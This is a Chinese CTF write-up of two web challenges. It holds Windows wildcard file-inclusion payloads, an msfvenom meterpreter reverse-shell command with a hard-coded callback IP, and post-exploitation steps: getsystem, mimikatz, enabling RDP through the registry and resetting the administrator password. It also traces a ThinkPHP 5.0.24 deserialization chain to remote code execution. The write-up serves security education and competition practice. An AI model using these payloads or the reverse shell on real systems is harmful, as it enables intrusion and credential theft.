这周末是TCTF/0CTF决赛,而恰好周六是巅峰极客决赛,这几天还被拉去打教育hw,打完巅峰极客基本是双开的状态,打完感觉人也快废掉了。只看了两个Web(其他题基本也没啥做出来的可能),整理了下题解。
win-win
windows+php8 环境,一行php。
第一天放了hint,session.upload_progress=off
,看起来不能用session上传。
卡了很久,读不到什么有用的信息。这篇文章:https://blog.csdn.net/bylfsj/article/details/102771173提到windows下可以利用通配符进行包含。猜测题目由phpstudy、xampp等搭建,最后包含xampp的 apache_start.bat
文件成功:?win=..\..\t<\apache_start.bat
。
读取php.ini文件:?win=..\..\t<\php\phpi.ini
,发现了路径:C:\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\
根据xampp默认配置,临时文件路径:C:\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\tmp\
。尝试session上传+包含,成功(远程环境可能配错了)。
1 | import sys |
getshell后,找不到flag。
本地生成msf马:
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=202.112.51.236 lport=5555 -f exe -o shell.exe |
服务器监听:
1 | Use exploit/multi/handler |
getsystem提权,利用mimikatz抓密码,空的。screenshot
没有权限。打开3389端口:
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f |
修改administrator密码:
端口转发,3389连接,flag在桌面txt上没有保存:
RevengePHP
题目考查thinkphp5.0.24反序列化,把网上现有的链子给堵了:
thinkphp/library/think/console/Output.php
:
并且现有的链子是向web目录写shell,很显然这个题目还限制了web目录不可写。事实证明双保险是正确的,因为__wakeup并没有影响这条反序列化链。
因为之前一直没有分析过tp的反序列化链子,正好借着这个题从零学习了一波。这个题从第二天晚上11点开始看,审计到早上5点,实在是困得不行了,还要赶12点的飞机,直接睡了。赛后交流发现这个题解法不止一种(果然,日穿一个东西最简单的方法就是把他放到一场CTF里)
前面提到出题人添加了__wakeup
方法来防止反序列化,其实__wakeup
方法可以绕过,这个CTF中都被考烂了。但有趣的是,即使不进行绕过,事实上抛出异常也并不能阻止反序列化链子的向下执行。我把抛出异常替换成die也是一样的结果。
为了探究原因,开启调试,在__wakeup
处下断点,成功断下来:
可以发现在执行到 __wakeup 的时候,所有的对象已经被成功反序列化(红框里所示)。此时我们点击运行下一步:
看到这里恍然大悟:抛出异常后程序会进入终止的逻辑,此时自然会进行对象销毁操作,而因为对象已经被成功反序列化,所以根本不会影响反序列化链的执行。
回到这个题目,虽然链子可以执行,但是web目录已经设置为不可写,所以同样需要另找链。
第一条RCE的链子同样是利用了thinkphp/library/think/console/Output.php
中Output类的block方法,可以达到直接执行命令的效果,下面跟一下这条链。关于之前网上公开的thinkphp5.0.24的利用链,这里不过多赘述,不清楚的可以参考这篇文章学习一下。
在执行到thinkphp/library/think/session/driver/Memcached.php
的write方法后,已有写shell的链子是利用了/thinkphp/library/think/cache/driver/File.php
的set方法,这里我们利用thinkphp/library/think/cache/driver/Memcache.php
的set方法:
跟进 has 方法,这里的 name 变量是我们可控的变量和<getAttr>xxx<getAttr>
拼接的结果。
getCachekey方法返回的 key可控,之后会调用 this->handler->get 方法,这里我们直接利用thinkphp/library/think/Request.php
的get方法。如果对 thinkphp5 rce 漏洞有分析过的人可能会很熟悉,因为就是利用这个 Request 类进行 rce 的。后面反序列化 rce 的思路基本一样。
调用 this->input 方法:
进到input方法,调用 filterValue 方法。(filter变量由getFilter方法返回得到,可控。data变量也是由前面input类的 this->get 获得后进行一些操作,也可控)
进到 filterValue 方法,执行 call_user_func:
完成 RCE。整个调用栈:
1 | Request.php:1094, think\Request->filterValue() |
exp:
1 |
|